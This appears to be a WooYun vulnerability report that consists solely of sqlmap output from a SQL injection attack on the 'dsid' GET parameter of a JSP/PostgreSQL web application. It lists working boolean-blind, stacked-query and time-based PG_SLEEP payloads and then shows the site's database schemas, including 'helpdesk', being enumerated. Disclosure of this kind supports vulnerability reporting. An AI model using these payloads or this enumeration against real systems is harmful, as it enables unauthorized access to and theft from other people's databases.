WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: dsid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: dsid=888 AND 3211=3211
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: dsid=888; SELECT PG_SLEEP(5)--
    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: dsid=888 AND 5449=(SELECT 5449 FROM PG_SLEEP(5))
---
[14:51:56] [INFO] the back-end DBMS is PostgreSQL
web application technology: JSP, Apache 2.2.17
back-end DBMS: PostgreSQL
[14:51:56] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[14:51:56] [INFO] fetching database (schema) names
[14:51:56] [INFO] fetching number of databases
[14:51:56] [INFO] resumed: 5
[14:51:56] [INFO] resumed: helpdesk
[14:51:56] [INFO] resumed: information_schema
[14:51:56] [INFO] resumed: pg_catalog
[14:51:56] [INFO] resumed: sys
[14:51:56] [INFO] resumed: public
available databases [5]:
[*] helpdesk
[*] information_schema
[*] pg_catalog
[*] public
[*] sys